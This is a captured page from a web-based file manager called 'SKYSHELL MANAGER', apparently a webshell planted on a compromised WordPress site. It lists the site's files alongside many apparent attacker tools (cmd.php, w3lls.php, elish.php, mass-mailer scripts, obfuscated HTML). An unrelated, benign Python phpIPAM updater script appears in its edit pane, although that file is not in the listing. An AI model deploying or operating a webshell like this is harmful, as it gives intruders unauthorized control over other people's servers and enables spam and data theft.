📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
africainfos
/
Nazareth.israel.africa-infos.com
/
Name
Size
Perm
Actions
📁
.tmb
-
0755
🗑️
🏷️
🔒
📁
159264
-
0755
🗑️
🏷️
🔒
📁
289519
-
0755
🗑️
🏷️
🔒
📁
876911
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
wk
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
wpclone_backup
-
0755
🗑️
🏷️
🔒
📄
.webshell_scan_active.json
0.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_queue_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.lst
105679.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_state_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.json
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
OBFUSCATE.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
_.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cmd.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
d.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php7
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.phtml
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php7
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.phtml
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php7
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.phtml
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
10.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
function.php
4.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc1.php
4.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc2.php
0.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php7
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.phtml
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
php.php
70.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
samurai_activity.log
0.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.php
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.phtml
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test1.php7
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
txets.php
5.93 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3ll_protected_2025-10-25T07-11-52.html
160.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php
206.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php7
209.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc - Copy.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
webshell_scan_batch_progress.log
63.85 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-canvas.php
10.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-constants.php
1.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-frame.php
27.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-query.php
10.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-response.php
123 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-schema.php
1.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-tokens.php
1.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-conffq.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-formatting.php
34.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-headre.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-protection.php
10.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-templates.php
1.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: ve_dynupdate.py
import os import requests import json import subprocess import ipaddress import sys import argparse import socket import re import platform import logging import random import time import urllib3 # Disable InsecureRequestWarning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Configure logging if os.path.exists('/var/log/ve_dynupdate.error.log'): os.remove('/var/log/ve_dynupdate.error.log') logging.basicConfig(filename='/var/log/ve_dynupdate.error.log', level=logging.ERROR, format='%(asctime)s:%(levelname)s:%(message)s') # Function to load configuration from config.json def load_config(config_file): try: with open(config_file, 'r') as f: config = json.load(f) return config except FileNotFoundError: error_message = f"Error: Config file '{config_file}' not found." print(error_message) logging.error(error_message) sys.exit(1) except json.JSONDecodeError: error_message = f"Error: Invalid JSON format in config file '{config_file}'." print(error_message) logging.error(error_message) sys.exit(1) # Load configuration from config.json config = load_config('/usr/src/ve_dynupdate.json') # Retrieve necessary configuration values phpipam_token = config.get('phpipam_token') cf_access_client_id = config.get('cf_access_client_id') cf_access_client_secret = config.get('cf_access_client_secret') IGNORE_LOCAL_RANGES = config.get('ignore_local_ranges', []) phpipam_api_url = config.get('phpipam_api_url') # Function to check if an IP is in the ignore ranges def is_ip_in_ignore_ranges(ip): ip_obj = ipaddress.ip_address(ip) for ip_range in IGNORE_LOCAL_RANGES: if ip_obj in ipaddress.ip_network(ip_range): return True return False # Function to fetch IPs from phpIPAM def fetch_ips_from_phpipam(url, token, verify_ssl=True, verbose=True): headers = { 'Content-Type': 'application/json', 'token': token, 'CF-Access-Client-Id': cf_access_client_id, 'CF-Access-Client-Secret': cf_access_client_secret } response = requests.get(url + 'addresses/', headers=headers, verify=verify_ssl) if verbose: print("Fetching IPs from phpIPAM: {}\nStatus: {}\n{}".format(response.url, response.status_code, response.text)) if response.status_code == 200: return response.json() else: error_message = f"Failed to fetch IPs from phpIPAM. Status: {response.status_code}, Response: {response.text}" logging.error(error_message) return None # Function to send data to phpIPAM def send_to_phpipam(data, endpoint, token, verify_ssl=True, dry_run=False, verbose=True): if dry_run: print("Dry Run: Would send to phpIPAM:\n{}".format(json.dumps(data, indent=4))) return {'success': True} headers = { 'Content-Type': 'application/json', 'token': token, 'CF-Access-Client-Id': cf_access_client_id, 'CF-Access-Client-Secret': cf_access_client_secret } response = requests.patch(endpoint, json=data, headers=headers, verify=verify_ssl) if verbose: print("Sending to phpIPAM: {}\nHeaders: {}\nData: {}\nStatus: {}\n{}".format(endpoint, headers, json.dumps(data, indent=4), response.status_code, response.text)) if response.status_code in [200, 201]: return response.json() else: error_message = f"Failed to send data to phpIPAM. Status: {response.status_code}, Response: {response.text}" logging.error(error_message) print(f"Error updating IP: {response.status_code} - {response.text}") # Added for immediate feedback return None # Function to fetch IPs from virtual machine def fetch_ips_from_vm(forward_lookup=False, reverse_lookup=False, verbose=True): try: output = subprocess.check_output(['hostname', '-I']).decode().strip() if verbose: print("Command Output: {}".format(output)) ips = [] for ip in output.split(): if not is_ip_in_ignore_ranges(ip): if forward_lookup: try: hostname = socket.gethostbyaddr(ip)[0] ips.append((ip, hostname)) except socket.herror: error_message = f"Hostname lookup failed for IP {ip}" print(error_message) logging.error(error_message) elif reverse_lookup: try: hostname = subprocess.check_output(['host', ip]).decode().strip().split()[-1][:-1] ips.append((ip, hostname)) except subprocess.CalledProcessError: error_message = f"Reverse lookup failed for IP {ip}" print(error_message) logging.error(error_message) else: ips.append(ip) if verbose: if forward_lookup or reverse_lookup: print("Filtered IPs and hostnames from VM: {}".format(ips)) else: print("Filtered IPs from VM: {}".format(ips)) return ips except Exception as e: error_message = f"Error fetching IPs from VM: {e}" print(error_message) logging.error(error_message) return [] def is_interface_up(interface): """Check if a network interface is up.""" operstate_path = f"/sys/class/net/{interface}/operstate" try: with open(operstate_path, "r") as f: return f.read().strip() == "up" except Exception as e: error_message = f"Error checking operstate for {interface}: {e}" print(error_message) logging.error(error_message) return False # Function to retrieve uptime of the machine def uptime(): """Get the uptime of the system in days.""" try: with open('/proc/uptime', 'r') as f: uptime_seconds = float(f.readline().split()[0]) uptime_days = int(uptime_seconds // (24 * 3600)) return str(uptime_days) except Exception as e: error_message = f"Error retrieving uptime: {e}" print(error_message) logging.error(error_message) return '0' # Function to determine if the OS is Proxmox def is_proxmox(): try: output = subprocess.check_output(['pveversion']).decode().strip() return 'pve-manager' in output except Exception: return False # Function to get the PVE version for Debian-based systems def get_pve_version(): try: output = subprocess.check_output(['pveversion']).decode().strip() match = re.search(r'pve-manager/([^/]+)/', output) if match: return match.group(1) except Exception as e: error_message = f"Error retrieving PVE version: {e}" logging.error(error_message) return None # Function to get the current kernel version for RHEL-based systems def get_kernel_version(): try: kernel_version = platform.release() # Remove '.x86_64' if present return kernel_version.replace(".x86_64", "").strip() except Exception as e: error_message = f"Error retrieving kernel version: {e}" logging.error(error_message) return None # Function to get the OS name from /etc/os-release or platform information def get_os_name(): try: # Reading from /etc/os-release for modern Linux distributions if os.path.exists("/etc/os-release"): with open("/etc/os-release") as f: os_release_info = f.read() os_name_match = re.search(r'^NAME="?(.*?)"?$', os_release_info, re.MULTILINE) if os_name_match: return os_name_match.group(1) # Fallback for older systems if /etc/os-release isn't available return platform.system() except Exception as e: error_message = f"Error retrieving OS name: {e}" logging.error(error_message) return "Unknown OS" # Function to get the OS name from /etc/os-release or platform information def get_os_name_and_codename(): try: # Reading from /etc/os-release for modern Linux distributions if os.path.exists("/etc/os-release"): with open("/etc/os-release") as f: os_release_info = f.read() # Extract the NAME field os_name_match = re.search(r'^NAME="?(.*?)"?$', os_release_info, re.MULTILINE) os_name = os_name_match.group(1).replace("GNU/Linux", "").strip() if os_name_match else "Unknown OS" # Extract the VERSION field version_match = re.search(r'^VERSION="?(.*?)"?$', os_release_info, re.MULTILINE) version = version_match.group(1).strip() if version_match else "" # Extract the codename codename_match = re.search(r'^VERSION_CODENAME=(\w+)', os_release_info, re.MULTILINE) codename = codename_match.group(1).capitalize() if codename_match else "" # Return formatted OS name, version, and codename (e.g., "Debian 12 Bookworm") return f"{os_name}-{version}".strip() # Fallback for older systems if /etc/os-release isn't available return platform.system() except Exception as e: error_message = f"Error retrieving OS name, version, and codename: {e}" logging.error(error_message) return "Unknown OS" # Main function to update VM inventory and adapt based on the OS def update_vm_inventory(url, token, forward_lookup=False, reverse_lookup=False, dry_run=False, verbose=False, verify_ssl=True): try: # Detect the OS and its version if is_proxmox(): os_version = f"PVE-{get_pve_version()}/{get_os_name_and_codename()}" else: os_version = f"{get_os_name()} {get_kernel_version()}" # Fetch IPs from the VM output = subprocess.check_output(['hostname', '-I']).decode().strip() ips_in_vm = [ip for ip in output.split() if not is_ip_in_ignore_ranges(ip)] if verbose: print("Filtered IPs from VM: {}".format(ips_in_vm)) # Perform hostname lookup if needed hostnames = {} for ip in ips_in_vm: if forward_lookup: try: hostname = socket.gethostbyaddr(ip)[0] hostnames[ip] = hostname except socket.herror: error_message = f"Hostname lookup failed for IP {ip}" print(error_message) logging.error(error_message) elif reverse_lookup: try: hostname = subprocess.check_output(['host', ip]).decode().strip().split()[-1][:-1] hostnames[ip] = hostname except subprocess.CalledProcessError: error_message = f"Reverse lookup failed for IP {ip}" print(error_message) logging.error(error_message) # Get MAC addresses for all active physical interfaces mac_addresses = {} active_interfaces = [ interface for interface in os.listdir('/sys/class/net/') if os.path.exists(f'/sys/class/net/{interface}/operstate') and interface != 'lo' ] for interface in active_interfaces: try: # Check if the interface is up with open(f"/sys/class/net/{interface}/operstate") as operstate_file: if operstate_file.read().strip() != "up": continue # Skip interfaces that are not up # Get MAC address output = subprocess.check_output(['ip', 'link', 'show', 'dev', interface]).decode().strip() mac_address = re.search(r'ether\s+([0-9a-fA-F:]{17}|[0-9a-fA-F]{12})', output).group(1) mac_addresses[interface] = mac_address except Exception as e: error_message = f"Error retrieving MAC address for {interface}: {e}" print(error_message) logging.error(error_message) if not mac_addresses: error_message = "No MAC addresses found for active physical interfaces." print(error_message) logging.error(error_message) return # Fetch IP data from phpIPAM ips_in_phpipam = fetch_ips_from_phpipam(url, token, verify_ssl, verbose) if not ips_in_phpipam or 'data' not in ips_in_phpipam: error_message = "Failed to fetch IP data from phpIPAM." print(error_message) logging.error(error_message) return short_hostname = subprocess.check_output(['hostname', '-s']).decode().strip() processed_ips = set() ip_to_mac_mapping = {} # Create a mapping of IPs to MAC addresses for active interfaces for interface in active_interfaces: try: ip_output = subprocess.check_output(['ip', '-4', 'addr', 'show', 'dev', interface]).decode().strip() ips_assigned = re.findall(r'inet\s+(\d+\.\d+\.\d+\.\d+)', ip_output) for ip in ips_assigned: ip_to_mac_mapping[ip] = mac_addresses[interface] except subprocess.CalledProcessError: error_message = f"Failed to retrieve IPs for interface {interface} (may not exist or be inactive)." print(error_message) logging.error(error_message) for ip in ips_in_vm: hostname = hostnames.get(ip, subprocess.check_output(['hostname']).decode().strip()) for ip_data in ips_in_phpipam.get('data', []): if ip_data['ip'] == ip and ip not in processed_ips: description = f"({short_hostname}) {os_version} [U:{uptime()}]" data = { 'hostname': hostname, 'description': description[:100], # Limit to 100 characters } if ip in ip_to_mac_mapping: data['mac'] = ip_to_mac_mapping[ip] response = send_to_phpipam(data, url + 'addresses/' + str(ip_data['id']) + '/', token, verify_ssl, dry_run, verbose) if response and response.get('success'): print(f"{'Dry Run: ' if dry_run else ''}Updated IP {ip_data['ip']} with MAC {data['mac']} in phpIPAM.") else: error_message = f"Failed to update IP {ip_data['ip']}: {response if response else 'No response'}" print(error_message) logging.error(error_message) processed_ips.add(ip) except Exception as e: error_message = f"Error in update_vm_inventory: {e}" print(error_message) logging.error(error_message) # Function to print usage information def print_usage(): """Print usage information.""" print("""Usage: python ve_dynupdate.py [options] update Options: --dry-run Perform a dry run (default: False) --verbose Enable verbose output (default: False) --forward Perform forward DNS lookup for IPs --reverse Perform reverse DNS lookup for IPs --no-ztna Skip ZTNA checks (default: enabled) --skip-ssl Skip SSL verification for connections --delay Add a random delay (0-30 minutes) before executing the update """) # Function to print ASCII header def print_header(): """Print ASCII header.""" header = """ phpIPAM IP Updater By Gabe """ print(header) # Function to add a random delay def add_random_delay(): delay_minutes = random.randint(0, 30) print(f"Delaying execution by {delay_minutes} minutes...") time.sleep(delay_minutes * 60) if __name__ == "__main__": print_header() parser = argparse.ArgumentParser(description="Update virtual machines inventory in phpIPAM") parser.add_argument('--dry-run', action='store_true', help='Perform a dry run') parser.add_argument('--verbose', action='store_true', default=False, help='Enable verbose output') parser.add_argument('--forward', action='store_true', help='Perform forward DNS lookup for IPs') parser.add_argument('--reverse', action='store_true', help='Perform reverse DNS lookup for IPs') parser.add_argument('--no-ztna', action='store_true', help='Skip ZTNA checks (default: enabled)') parser.add_argument('--skip-ssl', action='store_true', help='Skip SSL verification for connections') parser.add_argument('--delay', action='store_true', help='Add a random delay (0-30 minutes) before executing the update') parser.add_argument('command', nargs='?', help='Command to execute (use "update" to run the update process)') args = parser.parse_args() if args.command != 'update': print_usage() sys.exit(1) if args.delay: add_random_delay() verify_ssl = not args.skip_ssl update_vm_inventory( phpipam_api_url, phpipam_token, forward_lookup=args.forward, reverse_lookup=args.reverse, dry_run=args.dry_run, verbose=args.verbose, verify_ssl=verify_ssl )
Save